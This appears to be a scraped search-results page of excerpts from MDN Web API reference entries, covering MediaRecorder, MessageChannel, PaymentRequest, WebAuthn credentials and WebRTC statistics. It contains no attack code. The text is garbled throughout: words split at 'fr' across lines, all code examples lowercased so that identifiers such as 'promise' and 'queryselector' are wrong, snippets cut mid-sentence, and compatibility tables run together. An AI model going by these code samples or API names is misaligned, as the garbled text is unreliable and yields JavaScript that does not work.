...."); let stopped = new promise((resolve, reject) => { recorder.onstop = resolve; recorder.onerror = event => reject(event.name); }); let recorded = wait(lengthinms).then( () => recorder.state == "recording" && recorder.stop() ); return promise.all([ stopped, recorded ]) .then(() => data); } startrecording() takes two input parameters: a mediastream to record
from and the length in milliseconds of the recording to make.
...then url.createobjecturl() is used to create an url that references the blob; this is then made the value of the recorded video playback element's src attribute (so that you can play the video
from the blob) as well as the target of the download button's link.
MediaStream Recording API - Web APIs
basic concepts the mediastream recording api is comprised of a single major interface, mediarecorder, which does all the work of taking the data
from a mediastream and delivering it to you for processing.
... var canvas = document.queryselector("canvas"); // optional
frames per second argument.
...a second article, recording a media element, describes how to receive a stream
from an <audio> or <video> element and use the captured stream (in this case, recording it and saving it to a local disk).
MediaTrackSupportedConstraints - Web APIs
instead, the specified constraints will be applied, with any unrecognized constraints stripped
from the request.that can lead to confusing and hard to debug errors, so be sure to use getsupportedconstraints() to retrieve this information before attempting to establish constraints if you need to know the difference between silently ignoring a constraint and a constraint being accepted.
...
framerate a boolean value whose value is true if the
framerate constraint is supported in the current environment.
... properties specific to shared screen tracks for tracks containing video sources
from the user's screen contents, the following additional properties are may be included in addition to those available for video tracks.
Media Source API - Web APIs
the media source api, formally known as media source extensions (mse), provides functionality enabling plugin-
free web-based streaming media.
... there are numerous available
free and open source tools for transcoding content and preparing it for use with dash, dash file servers, and dash client libraries written in javascript.
... videoplaybackquality contains information about the quality of video being played by a <video> element, such as number of dropped or corrupted
frames.
MerchantValidationEvent - Web APIs
merchantvalidationevent.validationurl secure context a usvstring specifying a url
from which the site or app can fetch payment handler specific validation information.
... once this data is retrieved, the data (or a promise resolving to the validation data) should be passed into complete() to validate that the payment request is coming
from an authorized merchant.
... methods merchantvalidationevent.complete() secure context pass the data retrieved
from the url specified by validationurl into complete() to complete the validation process for the paymentrequest.
MessageChannel() - Web APIs
when the i
frame has loaded, we pass port2 to the i
frame using messageport.postmessage along with a message.
... the handlemessage handler then responds to a message being sent back
from the i
frame (using messageport.onmessage), putting it into a paragraph.
... var channel = new messagechannel(); var para = document.queryselector('p'); var i
fr = document.queryselector('i
frame'); var otherwindow = i
fr.contentwindow; i
fr.addeventlistener("load", i
frameloaded, false); function i
frameloaded() { otherwindow.postmessage('hello
from the main page!', '*', [channel.port2]); } channel.port1.onmessage = handlemessage; function handlemessage(e) { para.innerhtml = e.data; } for a full working example, see our channel messaging basic demo on github (run it live too).
MessageChannel.port1 - Web APIs
when the <i
frame> has loaded, we pass messagechannel.port2 to the <i
frame> using messageport.postmessage along with a message.
... the handlemessage handler then responds to a message being sent back
from the <i
frame> (using messageport.onmessage), putting it into a paragraph.
... var channel = new messagechannel(); var para = document.queryselector('p'); var i
fr = document.queryselector('i
frame'); var otherwindow = i
fr.contentwindow; i
fr.addeventlistener("load", i
frameloaded, false); function i
frameloaded() { otherwindow.postmessage('hello
from the main page!', '*', [channel.port2]); } channel.port1.onmessage = handlemessage; function handlemessage(e) { para.innerhtml = e.data; } specifications specification status comment html living standardthe definition of 'port1' in that specification.
MessageChannel.port2 - Web APIs
when the i
frame has loaded, we pass port2 to the i
frame using messageport.postmessage along with a message.
... the handlemessage handler then responds to a message being sent back
from the i
frame (using messageport.onmessage), putting it into a paragraph.
... var channel = new messagechannel(); var para = document.queryselector('p'); var i
fr = document.queryselector('i
frame'); var otherwindow = i
fr.contentwindow; i
fr.addeventlistener("load", i
frameloaded, false); function i
frameloaded() { otherwindow.postmessage('hello
from the main page!', '*', [channel.port2]); } channel.port1.onmessage = handlemessage; function handlemessage(e) { para.innerhtml = e.data; } for a full working example, see our channel messaging basic demo on github (run it live too).
MessageChannel - Web APIs
when the i
frame has loaded, we register an onmessage handler for messagechannel.port1 and transfer messagechannel.port2 to the i
frame using the window.postmessage method along with a message.
... when a message is received back
from the i
frame, the onmessage function simply outputs the message to a paragraph.
... var channel = new messagechannel(); var output = document.queryselector('.output'); var i
frame = document.queryselector('i
frame'); // wait for the i
frame to load i
frame.addeventlistener("load", onload); function onload() { // listen for messages on port1 channel.port1.onmessage = onmessage; // transfer port2 to the i
frame i
frame.contentwindow.postmessage('hello
from the main page!', '*', [channel.port2]); } // handle messages received on port1 function onmessage(e) { output.innerhtml = e.data; } for a full working example, see our channel messaging basic demo on github (run it live too).
MessagePort.onmessage - Web APIs
when the i
frame has loaded, we pass messagechannel.port2 to the i
frame using messageport.postmessage along with a message.
... the handlemessage handler then responds to a message being sent back
from the i
frame using onmessage, putting it into a paragraph — messagechannel.port1 is listened to, to check when the message arrives.
... var channel = new messagechannel(); var para = document.queryselector('p'); var i
fr = document.queryselector('i
frame'); var otherwindow = i
fr.contentwindow; i
fr.addeventlistener("load", i
frameloaded, false); function i
frameloaded() { otherwindow.postmessage('hello
from the main page!', '*', [channel.port2]); } channel.port1.onmessage = handlemessage; function handlemessage(e) { para.innerhtml = e.data; } for a full working example, see our channel messaging basic demo on github (run it live too).
msPlayToPreferredSourceUri - Web APIs
this enables the playto target device to stream the media content, which can be drm protected,
from a different location, such as a cloud media server.
... syntax ptr = object.msplaytopreferredsourceuri; value msplaytopreferredsourceuri enables a playto reference (a uri or url) for streaming content on the playto target device
from a different location, such as a cloud media server.
...this uri can point to a cloud based media server allowing streaming directly
from the cloud, which can be drm protected, instead of streaming content
from the windows machine which must be unprotected content.
MutationObserver - Web APIs
methods disconnect() stops the mutationobserver instance
from receiving further notifications until and unless observe() is called again.
... takerecords() removes all pending notifications
from the mutationobserver's notification queue and returns them in a new array of mutationrecord objects.
... mutation observer & customize resize event listener & demo https://codepen.io/webgeeker/full/yjrzgg/ example the following example was adapted
from this blog post.
Navigation Timing API - Web APIs
examples calculate the total page load time to compute the total amount of time it took to load the page, you can use the following code: const perfdata = window.performance.timing; const pageloadtime = perfdata.loadeventend - perfdata.navigationstart; this subtracts the time at which navigation began (navigationstart)
from the time at which the load event handler returns (loadeventend).
...
from the time at which the response was finished being received (responseend).
... time as another example of an interesting piece of data you can obtain using the navigation timing api that you can't otherwise easily get, you can get the amount of time it took to render the page: const rendertime = perfdata.domcomplete - perfdata.domloading; this is obtained by starting with the time at which loading of the dom and its dependencies is complete (domcomplete) and subtracting
from it the time at which parsing of the dom began (domloading).
Node.namespaceURI - Web APIs
in dom4 this api was moved
from node to the element and attr interfaces.
...the namespace uri of a node is
frozen at the node creation time.
... per the namespaces in xml specification, an attribute does not inherit its namespace
from the element it is attached to.
Node.nodeType - Web APIs
it distinguishes different kind of nodes
from each other, such as elements, text and comments.
... node.document_
fragment_node 11 a document
fragment node.
... examples different types of nodes document.nodetype === node.document_node; // true document.doctype.nodetype === node.document_type_node; // true document.createdocument
fragment().nodetype === node.document_
fragment_node; // true var p = document.createelement("p"); p.textcontent = "once upon a time…"; p.nodetype === node.element_node; // true p.firstchild.nodetype === node.text_node; // true comments this example checks if the first node inside the document element is a comment, and displays a message if not.
NodeList.item() - Web APIs
returns a node
from a nodelist by index.
...this is usually obtained
from another dom property or method, such as childnodes.
... alternate syntax javascript also offers an array-like bracketed syntax for obtaining an item
from a nodelist by index: nodeitem = nodelist[index] example var tables = document.getelementsbytagname("table"); var firsttable = tables.item(1); // or simply tables[1] - returns the second table in the dom specifications specification status comment domthe definition of 'nodelist: item' in that specification.
Notification.requestPermission() - Web APIs
the requestpermission() method of the notification interface requests permission
from the user for the current origin to display notifications.
...} we no longer show a live sample on this page, as chrome and firefox no longer allow notification permissions to be requested
from cross-origin <i
frame>s, with other browsers to follow.
...firefox is already doing this
from version 72, for example.
NotifyAudioAvailableEvent - Web APIs
properties
framebuffer read only a float32array containing the raw 32-bit floating-point audio data obtained
from decoding the audio (e.g., the raw data being sent to the audio hardware vs.
...all audio
frames are normalized to contain 1024 samples by default, but could be any length between 512 and 16384 samples if the user has set a different length using the moz
framebufferlength attribute.
... time a floating-point value indicating the time in seconds at which the first sample in the
framebuffer occurs, relative to the start of the audio track.
OES_standard_derivatives - Web APIs
in webgl 2, the constant is available as gl.
fragment_shader_derivative_hint and it requires glsl #version 300 es.
... ext.
fragment_shader_derivative_hint_oes a glenum indicating the accuracy of the derivative calculation for the glsl built-in functions: dfdx, dfdy, and fwidth.
...ilt-in functions the following new functions can be used in glsl shader code, if this extension is enabled: gentype dfdx(gentype) gentype dfdy(gentype) gentype fwidth(gentype) examples enabling the extensions: gl.getextension('oes_standard_derivatives'); gl.getextension('ext_shader_texture_lod'); shader code that avoids artifacts when wrapping texture coordinates: <script type="x-shader/x-
fragment"> #extension gl_ext_shader_texture_lod : enable #extension gl_oes_standard_derivatives : enable uniform sampler2d mytexture; varying vec2 texcoord; void main(){ gl_
fragcolor = texture2dgradext(mytexture, mod(texcoord, vec2(0.1, 0.5)), dfdx(texcoord), dfdy(texcoord)); } </script> specifications specification status comment oes_s...
OscillatorNode.setPeriodicWave() - Web APIs
returns undefined example the following example illustrates simple usage of createperiodicwave(), recreating a sine wave
from a periodic wave.
...you can think of it as the result of a fourier transform, where you get
frequency domain values
from time domain value.
... here, with createperiodicwave(), you specify the
frequencies, and the browser performs a an inverse fourier transform to get a time domain buffer for the
frequency of the oscillator.
PaintWorklet - Web APIs
methods this interface inherits methods
from worklet.
... css.paintworklet.addmodule() the addmodule() method, inhertied
from the worklet interface loads the module in the given javascript file and adds it to the current paintworklet.
...width/size; x++) { const color = colors[(x + y) % colors.length]; ctx.beginpath(); ctx.fillstyle = color; ctx.rect(x * size, y * size, size, size); ctx.fill(); } } } } // register our class under a specific name registerpaint('checkerboard', checkerboardpainter); load a paintworklet the following example demonstrates loading the above worklet
from its js file and does so by feature detection.
PannerNode.positionZ - Web APIs
the positionz property of the pannernode interface specifies the z coordinate of the audio source's position in 3d cartesian coordinates, corresponding to the depth axis (behind-in
front of the listener).
...if the sound is pointing toward the listener, it will be louder than if the sound is pointed away
from the listener.
... example the following example starts an oscillator and moves it in
front of the listener after 1 second, behind the listener after 2 seconds, and back to the listener's position after 3 seconds.
PannerNode.refDistance - Web APIs
the refdistance property of the pannernode interface is a double value representing the reference distance for reducing volume as the audio source moves further
from the listener – i.e.
... example this example demonstrates how different values of refdistance affect how the volume of a sound decays as it moves away
from the listener.
... const context = new audiocontext(); // all our test tones will last this many seconds const note_length = 6; // this is how far we'll move the sound const z_distance = 20; // this function creates a graph for the test tone with a given refdistance // and schedules it to move away
from the listener along the z (depth-wise) axis // at the given start time, resulting in a decrease in volume (decay) const scheduletesttone = (refdistance, starttime) => { const osc = new oscillatornode(context); const panner = new pannernode(context); panner.refdistance = refdistance; // set the initial z position, then schedule the ramp panner.positionz.setvalueattime(0, starttime); ...
ParentNode.append() - Web APIs
differences
from node.appendchild(): parentnode.append() allows you to also append domstring objects, whereas node.appendchild() only accepts node objects.
...com/jserz/js_piece/blob/master/dom/parentnode/append()/append().md (function (arr) { arr.foreach(function (item) { if (item.hasownproperty('append')) { return; } object.defineproperty(item, 'append', { configurable: true, enumerable: true, writable: true, value: function append() { var argarr = array.prototype.slice.call(arguments), doc
frag = document.createdocument
fragment(); argarr.foreach(function (argitem) { var isnode = argitem instanceof node; doc
frag.appendchild(isnode ?
... argitem : document.createtextnode(string(argitem))); }); this.appendchild(doc
frag); } }); }); })([element.prototype, document.prototype, document
fragment.prototype]); specification specification status comment domthe definition of 'parentnode.append()' in that specification.
ParentNode.childElementCount - Web APIs
node an object representing a document, document
fragment, or element.
...in ie9 and safari, it is unsupported in the document and document
fragment objects.
... the document and document
fragment implemented the new interfaces.
PasswordCredential - Web APIs
note: this interface is restricted to top-level contexts and cannot be used
from an <i
frame>.
... properties inherits properties
from its ancestor, credential.
... browser compatibility the compatibility table on this page is generated
from structured data.
PaymentMethodChangeEvent - Web APIs
constructor paymentmethodchangeevent() creates and returns a new paymentmethodchangeevent object, optionally initialized with values taken
from a given paymentmethodchangeeventinit dictionary.
... properties in addition to the properties below, this interface includes properties inherited
from paymentrequestupdateevent.
... methods this interface includes methods inherited
from paymentrequestupdateevent.
PaymentRequest.abort() - Web APIs
browser compatibility the compatibility table on this page is generated
from structured data.
... androidopera for androidsafari on iossamsung internetabort()chrome full support 61edge full support 15firefox full support 55notes disabled full support 55notes disabled notes available only in nightly builds.disabled
from version 55: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
...rt 11.1webview android no support nochrome android full support 53firefox android full support 55notes disabled full support 55notes disabled notes available only in nightly builds.disabled
from version 55: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
PaymentRequest.onshippingaddresschange - Web APIs
browser compatibility the compatibility table on this page is generated
from structured data.
...r androidsafari on iossamsung internetonshippingaddresschangechrome full support 61edge full support 15firefox full support 55notes disabled full support 55notes disabled notes available only in nightly builds.disabled
from version 55: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
...rt 11.1webview android no support nochrome android full support 53firefox android full support 55notes disabled full support 55notes disabled notes available only in nightly builds.disabled
from version 55: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
PaymentRequest.onshippingoptionchange - Web APIs
browser compatibility the compatibility table on this page is generated
from structured data.
...or androidsafari on iossamsung internetonshippingoptionchangechrome full support 61edge full support 15firefox full support 55notes disabled full support 55notes disabled notes available only in nightly builds.disabled
from version 55: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
...rt 11.1webview android no support nochrome android full support 53firefox android full support 55notes disabled full support 55notes disabled notes available only in nightly builds.disabled
from version 55: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
PaymentRequest.shippingOption - Web APIs
browser compatibility the compatibility table on this page is generated
from structured data.
...dopera for androidsafari on iossamsung internetshippingoptionchrome full support 61edge full support 15firefox full support 55notes disabled full support 55notes disabled notes available only in nightly builds.disabled
from version 55: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
...rt 11.1webview android no support nochrome android full support 53firefox android full support 55notes disabled full support 55notes disabled notes available only in nightly builds.disabled
from version 55: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
PaymentRequest.shippingType - Web APIs
browser compatibility the compatibility table on this page is generated
from structured data.
...oidopera for androidsafari on iossamsung internetshippingtypechrome full support 61edge full support 15firefox full support 55notes disabled full support 55notes disabled notes available only in nightly builds.disabled
from version 55: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
...rt 11.1webview android no support nochrome android full support 55firefox android full support 55notes disabled full support 55notes disabled notes available only in nightly builds.disabled
from version 55: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
PaymentRequest.payerName - Web APIs
browser compatibility the compatibility table on this page is generated
from structured data.
...ndroidopera for androidsafari on iossamsung internetpayernamechrome full support 61edge full support 15firefox full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled
from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
...ort yeswebview android no support nochrome android full support 58firefox android full support 56notes disabled full support 56notes disabled notes available only in nightly builds.disabled
from version 56: this feature is behind the dom.payments.request.enabled preference (needs to be set to true).
PerformanceNavigationTiming - Web APIs
if there was no redirect, or if the redirect was
from another origin, and that origin does not permit it's timing information to be exposed to the current origin then the value will be 0.
... performancenavigationtiming.requeststart read only a domhighrestimestamp representing the time immediately before the user agent starts requesting the resource
from the server, or
from relevant application caches or
from local resources.
... performancenavigationtiming.responsestart read only a domhighrestimestamp representing the time immediately after the user agent's http parser receives the first byte of the response
from relevant application caches, or
from local resources or
from the server.
PerformanceResourceTiming.decodedBodySize - Web APIs
the decodedbodysize read-only property returns the size (in octets) received
from the fetch (http or cache) of the message body, after removing any applied content-codings.
... if the resource is retrieved
from an application cache or local resources, it returns the size of the payload after removing any applied content-codings.
... syntax resource.decodedbodysize; return value the size (in octets) received
from the fetch (http or cache) of the message body, after removing any applied content-codings.
PerformanceResourceTiming.encodedBodySize - Web APIs
the encodedbodysize read-only property represents the size (in octets) received
from the fetch (http or cache), of the payload body, before removing any applied content-codings.
... if the resource is retrieved
from an application cache or a local resource, it must return the size of the payload body before removing any applied content-codings.
... syntax resource.encodedbodysize; return value a number representing the size (in octets) received
from the fetch (http or cache), of the payload body, before removing any applied content-codings.
PerformanceTiming - Web APIs
performancetiming.requeststart read only when the browser sent the request to obtain the actual document,
from the server or
from a cache.
... performancetiming.responsestart read only when the browser received the first byte of the response,
from the server
from a cache, or
from a local resource.
... performancetiming.responseend read only when the browser received the last byte of the response, or when the connection is closed if this happened first,
from the server, the cache, or
from a local resource.
Permissions - Web APIs
browser support the compatibility table on this page is generated
from structured data.
...ng internet android full support 5.0revoke experimentalnon-standardchrome full support 46edge full support 79firefox full support 51disabled full support 51disabled disabled
from version 51: this feature is behind the dom.permissions.revoke.enable preference (needs to be set to true).
... safari no support nowebview android full support 46chrome android full support 46firefox android full support 51disabled full support 51disabled disabled
from version 51: this feature is behind the dom.permissions.revoke.enable preference (needs to be set to true).
PhotoCapabilities - Web APIs
example the following example, extracted
from chrome's image capture / photo resolution sample, uses the results
from getphotocapabilities() to modify the size of an input range.
... this example also shows how the imagecapture object is created using a mediastreamtrack retrieved
from a device's mediastream.
... browser compatibility the compatibility table on this page is generated
from structured data.
PublicKeyCredential.getClientExtensionResults() - Web APIs
note: this method may only be used in top-level contexts and will not be available in an <i
frame> for example.
...this object contains a map between the extensions' identifiers and their results
from the processing.
... examples var publickey = { // here are the extensions (as "inputs") extensions: { "loc": true, // this extension has been defined to include location information in attestation "uvi": true // user verification index: how the user was verified }, challenge: new uint8array(16) /*
from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(16) /*
from the server */, name: "jdoe@example.com", displayname: "john doe" }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var mybuffer = newcre...
PublicKeyCredential.id - Web APIs
the id read-only property of the publickeycredential interface is a domstring, inherited
from credential, which represents the identifier of the current publickeycredential instance.
... note: this property may only be used in top-level contexts and will not be available in an <i
frame> for example.
... examples var publickey = { challenge: new uint8array(26) /* this actually is given
from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { var id = newcredentialinfo.id; // do something with the id // send attestation response and client extensions // to the server to proceed with the registration // of the credentia...
PublicKeyCredentialCreationOptions.challenge - Web APIs
this is randomly generated then sent
from the relying party's server.
...contains a cryptographic challenge emitted
from the relying party's server which must be signed by the authenticator's private key and sent back (within the response) to the relying party's server for verification.
... examples var publickey = { challenge: new uint8array(26) /* this actually is given
from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // send attestation response and client extensions // to the server to proceed with the registration // of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key crede...
PublicKeyCredentialCreationOptions.extensions - Web APIs
biometricperfbounds object with two numerical properties: far and
frr biometric authenticator performance bounds.
... the client must not use any authenticator with false acceptance rate (far) and false rejection rate (
frr) below the inputs.
... examples var publickey = { extensions:{ uvi: true, loc: false, uvm: false, exts: true }, challenge: new uint8array(26) /* this actually is given
from the server */, rp: { name: "example corp", id : "login.example.com" }, user: { id: new uint8array(26), /* to be changed for each user */ name: "jdoe@example.com", displayname: "john doe", }, pubkeycredparams: [ { type: "public-key", alg: -7 } ] }; navigator.credentials.create({ publickey }) .then(function (newcredentialinfo) { // mybuffer will conta...
PublicKeyCredentialRequestOptions.challenge - Web APIs
this is randomly generated then sent
from the relying party's server.
...contains a cryptographic challenge emitted
from the relying party's server which must be signed by the authenticator's private key and sent back (within the response) to the relying party's server for verification.
... examples var options = { challenge: new uint8array([/* bytes sent
from the server */]) }; navigator.credentials.get({ "publickey": options }) .then(function (credentialinfoassertion) { // send assertion response back to the server // to proceed with the control of the credential }).catch(function (err) { console.error(err); }); specifications specification status comment web authentication: an api for accessing public key credentials level 1the definition of 'challenge' in that specification.
PushEvent.PushEvent() - Web APIs
when the constructor is invoked, the pushevent.data property of the resulting object will be set to a new pushmessagedata object containing bytes extracted
from the eventinitdict data member.
... example var datainit = { data : 'some sample text' } var mypushevent = new pushevent('push', datainit); mypushevent.data.text(); // should return 'some sample text' browser compatibility the compatibility table on this page is generated
from structured data.
...echromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetpushevent() constructor experimentalchrome full support 42edge full support 16disabled full support 16disabled disabled
from version 16: this feature is behind the enable service workers preference.
PushEvent.data - Web APIs
examples the following example takes data
from a pushevent and displays it on all of the service workers' clients.
... browser compatibility the compatibility table on this page is generated
from structured data.
... desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdata experimentalchrome full support 57edge full support 16disabled full support 16disabled disabled
from version 16: this feature is behind the enable service workers preference.
PushManager.subscribe() - Web APIs
if specified, all messages
from your application server must use the vapid authentication scheme, and include a jwt signed with the corresponding private key.
... example this.onpush = function(event) { console.log(event.data); //
from here we can write the data to indexeddb, send it to any open // windows, display a notification, etc.
...firefox is already doing this
from version 72, for example.
PushSubscription.getKey() - Web APIs
example reg.pushmanager.getsubscription() .then(function(subscription) { // enable any ui which subscribes / unsubscribes
from // push messages.
... subbtn.disabled = false; if (!subscription) { console.log('not yet subscribed to push') // we aren't subscribed to push, so set ui // to allow the user to enable push return; } // set your ui to show they have subscribed for // push messages subbtn.textcontent = 'unsubscribe
from push messaging'; ispushenabled = true; // initialize status, which includes setting ui elements for subscribed status // and updating subscribers list via push var endpoint = subscription.endpoint; var key = subscription.getkey('p256dh'); var auth = subscription.getkey('auth'); ...
... browser compatibility the compatibility table on this page is generated
from structured data.
RTCConfiguration.iceTransportPolicy - Web APIs
its value must come
from the rtcicetransportpolicy enumerated type.
... this can be used to prevent the remote endpoint
from receiving the user's ip addresses, which may be important in some security situations.
... for example, in a video calling application, the app may want to prevent unknown callers
from learning the callee's ip addresses until the callee has agreed to receive the call.
RTCIceCandidate.RTCIceCandidate() - Web APIs
if candidateinfo is provided, the new rtcicecandidate is initialized as follows: each member of the rtcicecandidateinit object is initialized to the value of the property by the same name
from rtcicecandidateinit.
... this includes the candidate, sdpmid, sdpmlineindex, and username
fragment properties.
... note: parsing of the candidate string is performed using the candidate-attribute grammar
from the webrtc specification.
RTCIceCandidate.address - Web APIs
you can't specify the address in the options object, but the address is automatically extracted
from the candidate a-line, if it's formatted properly.
... syntax var address = rtcicecandidate.address; value a domstring providing the ip address
from which the candidate comes.
...doing so prevents the remote user's address
from being exposed, but reduces the pool of available candidates to choose
from.
RTCIceCandidate.candidate - Web APIs
most of the other properties of rtcicecandidate are actually extracted
from this string.
... syntax var candidate = rtcicecandidate.candidate; value a domstring describing the properties of the candidate, taken directly
from the sdp attribute "candidate".
...the complete list of attributes for this example candidate is: foundation = 4234997325 component = "rtp" (the number 1 is encoded to this string; 2 becomes "rtcp") protocol = "udp" priority = 2043278322 ip = "192.168.0.56" port = 44323 type = "host" example in this example, we see a function which receives as input an sdp string containing an ice candidate received
from the remote peer during the signaling process.
RTCIceCandidate.type - Web APIs
you can't specify the value of type in the options object, but the address is automatically extracted
from the candidate a-line, if it's formatted properly, being taken
from its cand-type field.
... relay the candidate is a relay candidate, obtained
from a turn server.
... if type is null, that information was missing
from the candidate's a-line, which will cause rtcpeerconnection.addicecandidate() to throw an operationerror exception.
RTCIceCandidatePairStats.state - Web APIs
when a candidate pair is added to the check list, it begins in the
frozen state.
... as soon as there are no checks ongoing which block the pair
from being analyzed, it is un
frozen and moves into the waiting state.
... each time a candidate pair is done being checked, the next-highest priority candidate pair remaining on the check list moves
from the waiting state to the in-progress state, and its check begins.
RTCIceTransport.gatheringState - Web APIs
the read-only rtcicetransport property gatheringstate returns a domstring
from the enumerated type rtcicegathererstate that indicates what gathering state the ice agent is currently in: "new", "gathering", or "complete".
... syntax gatherstate = rtcicetransport.gatheringstate; value a string
from the rtcicegathererstate enumerated type whose value indicates the current state of the ice agent's candidate gathering process: "new" the rtcicetransport is newly created and has not yet started to gather ice candidates.
...the transport won't gather any further candidates unless an ice restart occurs, at which point the gathering process starts over
from scratch.
RTCIceTransport.getRemoteCandidates() - Web APIs
the rtcicetransport method getremotecandidates() returns an array which contains one rtcicecandidate for each of the candidates that have been received
from the remote peer so far during the current ice gathering session.
... return value an array containing one rtcicecandidate object for each candidate that has been received so far
from the remote peer during the current ice candidate gathering session.
... example this simple example gets the remote candidate list
from the rtcicetransport for the first rtcrtpsender on the rtcpeerconnection, then outputs to the console all of the candidates in the list.
RTCIceTransport - Web APIs
properties the rtcicetransport interface inherits properties
from its parent, eventtarget.
...the value is one of the strings
from the rtcicetransport enumerated type: "rtp" or "rtsp".
... methods also includes methods
from eventtarget, the parent interface.
RTCInboundRtpStreamStats.fecPacketsReceived - Web APIs
the fecpacketsreceived property of the rtcinboundrtpstreamstats dictionary indicates how many forward error correction (fec) packets have been received by this rtp receiver
from the remote peer.
... syntax var fecpacketsreceived = rtcinboundrtpstreamstats.fecpacketsreceived; value an unsigned integer value which indicates the total number of fec packets which have been recieved
from the remote peer during this rtp session.
... by using the fec parity information to attempt to reconstruct damaged packets, it is possible to avoid the need to retransmit damaged packets, which in turn helps to reduce lag, or the need to skip damaged
frames entirely.
RTCInboundRtpStreamStats.firCount - Web APIs
the receiver sends a fir packet when the stream falls behind and needs to skip
frames in order to catch up.
...this tells the sender to send a full
frame instead of a delta
frame, so that the receiver can catch up.
... the higher fircount is, the more often
frames were dropped, which may be an indication that the media's bit rate is too high for the available bandwidth, or that the receiving device is overburdened and is therefore unable to process the incoming data.
RTCInboundRtpStreamStats.pliCount - Web APIs
a pli packet indicates that some amount of encoded video data has been lost for one or more
frames.
...these are sent by the receiver's decoder to notify the encoder (the sender) that an undefined amount of coded video data, which may span
frame boundaries, has been lost.
... this may trigger the sender to send a full
frame in order to allow the receiver to re-synchronize, since lost data may be an irrecoverable situation for decoding media.
RTCOutboundRtpStreamStats.firCount - Web APIs
a fir packet is sent when the receiver finds that it has fallen behind and needs to skip
frames in order to catch up; the sender should respond by sending a full
frame instead of a delta
frame.
...this tells the sender to send a full
frame instead of a delta
frame, so that the receiver can catch up.
... the higher fircount is, the more often
frames were dropped, which may be an indication that the media's bit rate is too high for the available bandwidth, or that the receiving device is overburdened and is therefore unable to process the incoming data.
RTCOutboundRtpStreamStats.sliCount - Web APIs
the slicount property of the rtcoutboundrtpstreamstats dictionary indicates how many slice loss indication (sli) packets the rtcrtpsender received
from the remote rtcrtpreceiver for the rtp stream described by this object.
... an sli packet is used by a decoder to let the encoder (the sender) know that it's detected corruption of one or more consecutive macroblocks, in scan order, in the received media.in general, what's usually of interest is that the higher this number is, the more the stream data is becoming corrupted between the sender and the receiver, causing the receiver to request retransmits or to drop
frames entirely.
... syntax var slicount = rtcoutboundrtpstreamstats.slicount; value an unsigned integer indicating the number of sli packets the sender received
from the receiver due to lost runs of macroblocks.
RTCPeerConnection() - Web APIs
this must be one of the values
from the enum rtcbundlepolicy.
... icetransportpolicy optional the current ice transport policy; this must be one of the values
from the rtcicetransportpolicy enum.
...the value must be one of those
from the rtcrtcpmuxpolicy enum.
RTCPeerConnection.addIceCandidate() - Web APIs
when a web site or app using rtcpeerconnection receives a new ice candidate
from the remote peer over its signaling channel, it delivers the newly-received candidate to the browser's ice agent by calling rtcpeerconnection.addicecandidate().
... syntax apromise = pc.addicecandidate(candidate); addicecandidate(candidate, successcallback, failurecallback); parameters candidate optional an object conforming to the rtcicecandidateinit dictionary, or an rtcicecandidate object; the contents of the object should be constructed
from a message received over the signaling channel, describing a newly received ice candidate that's ready to be delivered to the local ice agent.
... the specified u
frag doesn't match the u
frag field in any of the remote descriptions being considered.
RTCRemoteOutboundRtpStreamStats.remoteTimestamp - Web APIs
this differs
from timestamp, which indicates the time at which the statistics were generated or received locally.
...this is different
from the value timestamp, which gives the time at which the statistics were generated or received by the local peer.
... if this property is present, it comes
from the rtcp sender report (sr) block, which reflects the clock on the remote peer at the time the message was sent.
RTCRtpContributingSource.source - Web APIs
browser compatibility the compatibility table on this page is generated
from structured data.
...afariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetsourcechrome full support 59edge full support ≤79firefox full support 59disabled full support 59disabled disabled
from version 59: this feature is behind the media.peerconnection.rtpsourcesapi.enable preference (needs to be set to true).
... webview android full support 59chrome android full support 59firefox android full support 59disabled full support 59disabled disabled
from version 59: this feature is behind the media.peerconnection.rtpsourcesapi.enable preference (needs to be set to true).
RTCRtpSendParameters - Web APIs
properties in addition to the properties below, rtcrtpsendparameters inherits the properties
from the rtcrtpparameters interface.
... degradationpreference specifies the preferred way the webrtc layer should handle optimizing bandwidth against quality in constrained-bandwidth situations; the value comes
from the rtcdegradationpreference enumerated string type, and the default is balanced.
... priority a string
from the rtcprioritytype enumerated type which indicates the encoding's priority.
RTCRtpSender.replaceTrack() - Web APIs
among the use cases for replacetrack() is the common need to switch between the rear- and
front-facing cameras on a phone.
... the new track's
frame rate is high enough to cause the codec's block rate to be exceeded.
... the new track is a video track and its raw or pre-encoded state differs
from that of the original track.
RTCRtpStreamStats.firCount - Web APIs
this is a measure of how often the stream falls behind and has to skip
frames in order to catch up.
...this tells the sender to send a full
frame instead of a delta
frame, so that the receiver can catch up.
... the higher fircount is, the more often
frames were dropped, which may be an indication that the media's bit rate is too high for the available bandwidth, or that the receiving device is overburdened and is therefore unable to process the incoming data.
RTCRtpStreamStats.pliCount - Web APIs
a pli packet indicates that some amount of encoded video data has been lost for one or more
frames.
